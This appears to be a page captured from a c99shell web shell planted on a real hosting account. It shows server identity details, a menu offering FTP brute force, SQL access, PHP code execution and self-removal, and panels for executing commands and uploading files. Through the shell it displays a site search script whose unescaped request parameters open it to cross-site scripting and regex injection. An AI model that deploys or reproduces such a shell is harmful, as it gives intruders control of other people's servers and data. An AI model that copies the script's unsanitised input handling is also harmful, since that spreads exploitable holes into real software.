smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/assets/softui/home/bat/   drwxr-xr-x
Free 3429.77 GB of 4265.01 GB (80.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rd-search.php (6.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if (!isset($_GET['s'])) {
  die(
'You must define a search term!');
}

$highlight true;//highlight results or not
$search_in = array('html''htm');//allowable filetypes to search in
$search_dir '..';//starting directory
$recursive true;//should it search recursively or not
define('SIDE_CHARS'15);
$file_count 0;
$search_term mb_strtolower($_GET['s'], 'UTF-8');

if (
$search_term == "?s=") {
  
$search_term "";
}

$search_term preg_replace('/^\/$/''"/"'$search_term);
$search_term preg_replace('/\+/'' '$search_term);
$search_term_length strlen($search_term);
if (isset(
$_GET['liveCount'])){
  
$search_live_count $_GET['liveCount'];
}
$final_result = array();

$search_filter_init $_GET['filter'];
$search_filter preg_replace("/\*/"".*"$search_filter_init);
$search_template preg_replace('/\+/'' '$_GET['template']);
preg_match_all("/\#\{((?!title|href|token|count)[a-z]*)\}/"$search_template$template_tokens);
$template_tokens $template_tokens[1];

$files list_files($search_dir);

foreach (
$files as $file) {

  if (
== filesize($file)) {
    continue;
  }

  if (!
preg_match("/" $search_filter "/"$file)) {
    continue;
  }

  
$contents file_get_contents($file);
  
preg_match("/\<title\>(.*)\<\/title\>/"$contents$page_title); //getting page title
  
if (preg_match("#\<body.*\>(.*)\<\/body\>#si"$contents$body_content)) { //getting content only between <body></body> tags
    
$clean_content strip_tags($body_content[0]); //remove html tags
    
$clean_content preg_replace('/\s+/'' '$clean_content); //remove duplicate whitespaces, carriage returns, tabs, etc

    
$found strpos_recursive(mb_strtolower($clean_content'UTF-8'), $search_term);

    
$final_result[$file_count]['page_title'][] = $page_title[1];
    
$final_result[$file_count]['file_name'][] = preg_replace("/^.{3}/""\\1"$file);
  }

  for (
$j 0$j count($template_tokens); $j++) {
    if (
preg_match("/\<meta\s+name=[\'|\"]" $template_tokens[$j] . "[\'|\"]\s+content=[\'|\"](.*)[\'|\"]\>/"$contents$res)) {
      
$final_result[$file_count][$template_tokens[$j]] = $res[1];
    }
  }

  if (
$found && !empty($found)) {
    for (
$z 0$z count($found[0]); $z++) {
      
$pos $found[0][$z][1];
      
$side_chars SIDE_CHARS;
      if (
$pos SIDE_CHARS) {
        
$side_chars $pos;
        if (isset(
$_GET['liveSearch']) and $_GET['liveSearch'] != "") {
          
$pos_end SIDE_CHARS $search_term_length 15;
        } else {
          
$pos_end SIDE_CHARS $search_term_length;
        }
      } else {
        if (isset(
$_GET['liveSearch']) and $_GET['liveSearch'] != "") {
          
$pos_end SIDE_CHARS $search_term_length 15;
        } else {
          
$pos_end SIDE_CHARS $search_term_length;
        }
      }

      
$pos_start $pos $side_chars;
      
$str substr($clean_content$pos_start$pos_end);
      
$result preg_replace('#' $search_term '#ui''<span class="search">\0</span>'$str);
      
//$result = preg_replace('#'.$search_term.'#ui', '<span class="search">'.$search_term.'</span>', $str);
      
$final_result[$file_count]['search_result'][] = $result;

    }
  } else {
    
$final_result[$file_count]['search_result'][] = '';
  }
  
$file_count++;
}

if (
$file_count 0) {

//Sort final result
  
foreach ($final_result as $key => $row) {
    
$search_result[$key] = $row['search_result'];
  }
  
array_multisort($search_resultSORT_DESC$final_result);
}

?>

  <div id="search-results">

    <?php if (count($final_result) > and isset($_GET['liveSearch']) and $_GET['liveSearch'] != "") {
      echo 
"<div class='search-quick-result'>Quick Results</div>";
    } 
?>

    <ol class="search-list">
      <?php
      $sum_of_results 
0;
      
$match_count 0;
      for (
$i 0$i count($final_result); $i++) {
        if (!empty(
$final_result[$i]['search_result'][0]) || $final_result[$i]['search_result'][0] !== '') {
          
$match_count++;
          
$sum_of_results += count($final_result[$i]['search_result']);
          if (isset(
$_GET['liveSearch']) and $_GET['liveSearch'] != "" and $i >= $search_live_count) {
          } else {
            
?>
            <li class="search-list-item">

              <?php
              $replacement 
= [$final_result[$i]['page_title'][0],
                  
$final_result[$i]['file_name'][0],
                  
$final_result[$i]['search_result'][0],
                  
count($final_result[$i]['search_result'])
              ];
              
$template preg_replace(["/#{title}/","/#{href}/","/#{token}/","/#{count}/"],$replacement$search_template);
              for (
$k 0$k count($template_tokens); $k++){
                if (isset(
$final_result[$i][$template_tokens[$k]])){
                  
$template preg_replace("/#{" $template_tokens[$k] . "}/"$final_result[$i][$template_tokens[$k]], $template);
                }else{
                  
$template preg_replace("/#{" $template_tokens[$k] . "}/"" "$template);
                }
              }

              echo 
$template?>
            </li>
            <?php
          
}
        }
      }

      if (
$match_count == 0) {
        echo 
'<li><div class="search-error">No results found for "<span class="search">' $search_term '</span>"<div/></li>';
      }
      
?>
      <?php
      
if (isset($_GET['liveSearch']) and $_GET['liveSearch'] != "" and $match_count != 0) {
        
?>
        <li class="search-list-item-all">
          <a href='search-results.html?s=<?php echo $_GET['s']; ?>&amp;filter=<?php echo $search_filter_init?>'  class="search-submit">
            <?php
            
echo "See other ";
            echo 
$sum_of_results;
            echo 
$sum_of_results " result on " " results";
            
?>
          </a>
        </li>
        <?php
      
}
      
?>
    </ol>
  </div>

<?php
//lists all the files in the directory given (and sub-directories if it is enabled)
function list_files($dir)
{
  global 
$recursive$search_in;

  
$result = array();
  if (
is_dir($dir)) {
    if (
$dh opendir($dir)) {
      while ((
$file readdir($dh)) !== false) {
        if (!(
$file == '.' || $file == '..')) {
          
$file $dir '/' $file;
          if (
is_dir($file) && $recursive == true && $file != './.' && $file != './..') {
            
$result array_merge($resultlist_files($file));
          } else if (!
is_dir($file)) {
            if (
in_array(get_file_extension($file), $search_in)) {
              
$result[] = $file;
            }
          }
        }
      }
    }
  }
  return 
$result;
}

//returns the extention of a file
function get_file_extension($filename)
{
  
$result '';
  
$parts explode('.'$filename);
  if (
is_array($parts) && count($parts) > 1) {
    
$result end($parts);
  }
  return 
$result;
}

function 
strpos_recursive($haystack$needle$offset 0, &$results = array())
{
  
$offset stripos($haystack$needle$offset);
  if (
$offset === false) {
    return 
$results;
  } else {
    
$pattern '/' $needle '/ui';
    
preg_match_all($pattern$haystack$resultsPREG_OFFSET_CAPTURE);
    return 
$results;
  }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0037 ]--